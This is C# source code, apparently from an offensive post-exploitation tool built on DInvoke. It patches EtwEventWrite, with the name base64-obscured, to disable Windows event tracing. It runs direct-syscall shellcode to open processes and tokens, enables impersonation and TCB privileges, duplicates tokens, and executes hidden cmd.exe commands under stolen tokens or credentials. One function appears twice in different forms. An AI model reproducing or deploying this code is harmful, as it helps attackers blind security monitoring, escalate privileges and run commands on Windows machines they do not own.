public static bool handleETW(SysCallManager sysCall) { var hook = new byte[] { 0xc3 }; uint oldProtect = 0, x = 0; var shellCode = sysCall.GetSysCallAsm("NtWriteVirtualMemory"); sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); // this saves time on further actions when trying to access advapi32 functions DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll"); object[] loadLibrary = { "ntdll.dll" }; IntPtr libraryAddress = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LoadLibraryA", typeof(DInvoke.Win32.DELEGATES.LoadLibrary), loadLibrary); object[] procAddress = { libraryAddress, Encoding.UTF8.GetString(Convert.FromBase64String("RXR3RXZlbnRXcml0ZQ==")) }; var address = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "GetProcAddress", typeof(DInvoke.Win32.DELEGATES.GetProcAddress), procAddress); if (address == IntPtr.Zero) { return(false); } object[] parameters = { (IntPtr)(-1), address, (UIntPtr)hook.Length, (uint)0x40, oldProtect }; IntPtr hProcess = Process.GetCurrentProcess().Handle; IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx", typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters); oldProtect = (uint)parameters[4]; object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite }; var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc", typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtWriteVirtualMemory)); var arguments = new object[] { hProcess, address, hook, (UIntPtr)(hook.Length), IntPtr.Zero }; var returnValue = sysCallDelegate.DynamicInvoke(arguments); if ((int)returnValue != 0) { return(false); } parameters = new object[] { (IntPtr)(-1), address, (UIntPtr)hook.Length, oldProtect, x }; response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx", typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters); return(true); }
/////////////////////////// Processes related functions /////////////////////////// public static void GetProcessHandle(int pid, out IntPtr handle, DInvoke.Win32.Kernel32.ProcessAccessFlags flags, SysCallManager sysCall) { handle = IntPtr.Zero; var clientId = new DInvoke.Win32.Kernel32.CLIENT_ID() { UniqueProcess = new IntPtr(pid), UniqueThread = IntPtr.Zero }; var objectAtt = new DInvoke.Win32.Kernel32.OBJECT_ATTRIBUTES(null, 0); DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll"); var shellCode = sysCall.GetSysCallAsm("NtOpenProcess"); object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite }; var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc", typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcess)); var token = IntPtr.Zero; var arguments = new object[] { handle, flags, objectAtt, clientId }; var returnValue = sysCallDelegate.DynamicInvoke(arguments); handle = (int)returnValue == 0 ? (IntPtr)arguments[0] : IntPtr.Zero; }
/////////////////////////// Privileges related functions /////////////////////////// public static bool EnablePrivileges(IntPtr handle, List <string> privileges, SysCallManager sysCall) { DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); foreach (var privilege in privileges) { try { var myLuid = new DInvoke.Win32.WinNT._LUID(); object[] lookupPrivileges = { null, privilege, myLuid }; var priv = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LookupPrivilegeValue", typeof(DInvoke.Win32.DELEGATES.LookupPrivilegeValue), lookupPrivileges); if (!priv) { continue; } DInvoke.Win32.WinNT._TOKEN_PRIVILEGES myTokenPrivileges; myTokenPrivileges.PrivilegeCount = 1; myTokenPrivileges.Privileges = new DInvoke.Win32.WinNT._LUID_AND_ATTRIBUTES[1]; myTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; myTokenPrivileges.Privileges[0].Luid = myLuid; object[] adjustPrivileges = { handle, false, myTokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero }; DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "AdjustTokenPrivileges", typeof(DInvoke.Win32.DELEGATES.AdjustTokenPrivileges), adjustPrivileges); } catch { return(false); } } return(true); }
public static void GetProcessToken(IntPtr handle, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS access, out IntPtr currentToken, SysCallManager sysCall) { DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll"); var shellCode = sysCall.GetSysCallAsm("NtOpenProcessToken"); object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite }; var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc", typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcessToken)); var token = IntPtr.Zero; var arguments = new object[] { handle, access, token }; uint oldProtect = 0; object[] parameters = { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect }; IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx", typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters); var returnValue = sysCallDelegate.DynamicInvoke(arguments); currentToken = (int)returnValue == 0 ? (IntPtr)arguments[2] : IntPtr.Zero; }
/////////////////////////// Privileges related functions /////////////////////////// public static bool EnablePrivileges(IntPtr handle, List <string> privileges, SysCallManager sysCall) { DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); foreach (var privilege in privileges) { try { var myLuid = new DInvoke.Win32.WinNT._LUID(); object[] lookupPrivileges = { null, privilege, myLuid }; var priv = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LookupPrivilegeValueA", typeof(DInvoke.Win32.DELEGATES.LookupPrivilegeValue), lookupPrivileges); if (!priv) { continue; } DInvoke.Win32.WinNT._LUID_AND_ATTRIBUTES luidAndAttributes = new DInvoke.Win32.WinNT._LUID_AND_ATTRIBUTES(); luidAndAttributes.Luid = (DInvoke.Win32.WinNT._LUID)lookupPrivileges[2]; luidAndAttributes.Attributes = SE_PRIVILEGE_ENABLED; DInvoke.Win32.WinNT._TOKEN_PRIVILEGES newState; newState.PrivilegeCount = 1; newState.Privileges = luidAndAttributes; DInvoke.Win32.WinNT._TOKEN_PRIVILEGES previousState = new DInvoke.Win32.WinNT._TOKEN_PRIVILEGES(); uint returnLength = 0; object[] adjustPrivileges = { handle, false, newState, (uint)Marshal.SizeOf(newState), previousState, returnLength }; DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "AdjustTokenPrivileges", typeof(DInvoke.Win32.DELEGATES.AdjustTokenPrivileges), adjustPrivileges); } catch { return(false); } } return(true); }
/////////////////////////// Impersonation /////////////////////////// public static void DuplicateToken(IntPtr token, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS tokenAccess, DInvoke.Win32.WinNT._SECURITY_IMPERSONATION_LEVEL se, DInvoke.Win32.WinNT.TOKEN_TYPE type, out IntPtr duplicated, SysCallManager sysCall) { duplicated = IntPtr.Zero; DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); object[] duplicateToken = { token, tokenAccess, IntPtr.Zero, se, type, duplicated }; bool status = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "DuplicateTokenEx", typeof(DInvoke.Win32.DELEGATES.DuplicateTokenEx), duplicateToken); if (!status) { duplicated = IntPtr.Zero; } else { duplicated = (IntPtr)duplicateToken[5]; } }
/////////////////////////// Commands execution /////////////////////////// public static string ExecuteCommand(string command, SysCallManager sysCall) { var output = ""; if (TokenManager._token == IntPtr.Zero && TokenManager._method == 0) { var process = new Process(); var startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, FileName = @"C:\windows\system32\cmd.exe", Arguments = "/C " + command, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false }; process.StartInfo = startInfo; process.Start(); output = process.StandardOutput.ReadToEnd(); if (output == "") { output = string.Concat("ERR:", process.StandardError.ReadToEnd()); } process.WaitForExit(); process.Close(); } else { var outRead = IntPtr.Zero; var outWrite = IntPtr.Zero; DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll"); var saAttr = new DInvoke.Win32.Kernel32.SecurityAttributes { nLength = Marshal.SizeOf(typeof(DInvoke.Win32.Kernel32.SecurityAttributes)), bInheritHandle = true, lpSecurityDescriptor = IntPtr.Zero }; object[] createPipe = { outRead, outWrite, saAttr, 0 }; var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "CreatePipe", typeof(DInvoke.Win32.DELEGATES.CreatePipe), createPipe); outRead = (IntPtr)createPipe[0]; outWrite = (IntPtr)createPipe[1]; saAttr = (DInvoke.Win32.Kernel32.SecurityAttributes)createPipe[2]; var startupInfo = new DInvoke.Win32.WinNT.StartupInfo(); startupInfo.cb = Marshal.SizeOf(startupInfo); startupInfo.lpDesktop = ""; startupInfo.hStdOutput = outWrite; startupInfo.hStdError = outWrite; startupInfo.wShowWindow = 0; startupInfo.dwFlags |= 0x00000101; var l = new DInvoke.Win32.Kernel32.LogonFlags(); switch (TokenManager._method) { case 1: CreateProcessAsUserW(TokenManager._token, null, @"c:\windows\system32\cmd.exe /Q /C" + @command, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _); break; case 2: CreateProcessWithTokenW(TokenManager._token, l, null, @"c:\windows\system32\cmd.exe /Q /C" + @command, 0, IntPtr.Zero, null, ref startupInfo, out _); break; default: CreateProcessWithLogonW(TokenManager._credentials[0], TokenManager._credentials[1], TokenManager._credentials[2], l, null, @"c:\windows\system32\cmd.exe /Q /C" + command, 0, 0, null, ref startupInfo, out _); break; } var buf = new byte[100]; var dwRead = 0; Thread.Sleep(500); while (true) { var bSuccess = ReadFile(outRead, buf, 100, ref dwRead, IntPtr.Zero); output = string.Concat(output, Encoding.Default.GetString(buf)); if (!bSuccess || dwRead < 100) { break; } } CloseHandle(outRead); CloseHandle(outWrite); } return(output); }
public static void Start() { var sysCall = new SysCallManager(); try { var token = WindowsIdentity.GetCurrent().Token; var newToken = IntPtr.Zero; var privileges = new List <string> { "SeImpersonatePrivilege", "SeTcbPrivilege", "SeAssignPrimaryTokenPrivilege", "SeIncreaseQuotaPrivilege" }; var currentToken = IntPtr.Zero; GetProcessToken(Process.GetCurrentProcess().Handle, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustPrivileges, out currentToken, sysCall); EnablePrivileges(currentToken, privileges, sysCall); CloseHandle(currentToken); const DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS tokenAccess = DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenQuery | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAssignPrimary | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenDuplicate | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustDefault | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustSessionId; DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); object[] duplicateToken = { token, tokenAccess, IntPtr.Zero, DInvoke.Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, DInvoke.Win32.WinNT.TOKEN_TYPE.TokenPrimary, newToken }; bool status = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "DuplicateTokenEx", typeof(DInvoke.Win32.DELEGATES.DuplicateTokenEx), duplicateToken); if (!status) { return; } else { newToken = (IntPtr)duplicateToken[5]; } var startupInfo = new DInvoke.Win32.WinNT.StartupInfo(); startupInfo.cb = Marshal.SizeOf(startupInfo); startupInfo.lpDesktop = ""; startupInfo.wShowWindow = 0; startupInfo.dwFlags |= 0x00000001; const DInvoke.Win32.Kernel32.LogonFlags logonFlags = new DInvoke.Win32.Kernel32.LogonFlags(); if (CreateProcessAsUserW(newToken, null, @"c:\windows\system32\cmd.exe /Q /C whoami && exit", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _)) { TokenManager._token = newToken; TokenManager._method = 1; } else { if (!CreateProcessWithTokenW(newToken, logonFlags, null, @"c:\windows\system32\cmd.exe /Q /C whoami && exit", 0, IntPtr.Zero, null, ref startupInfo, out _)) { return; } TokenManager._token = newToken; TokenManager._method = 2; } } catch { } }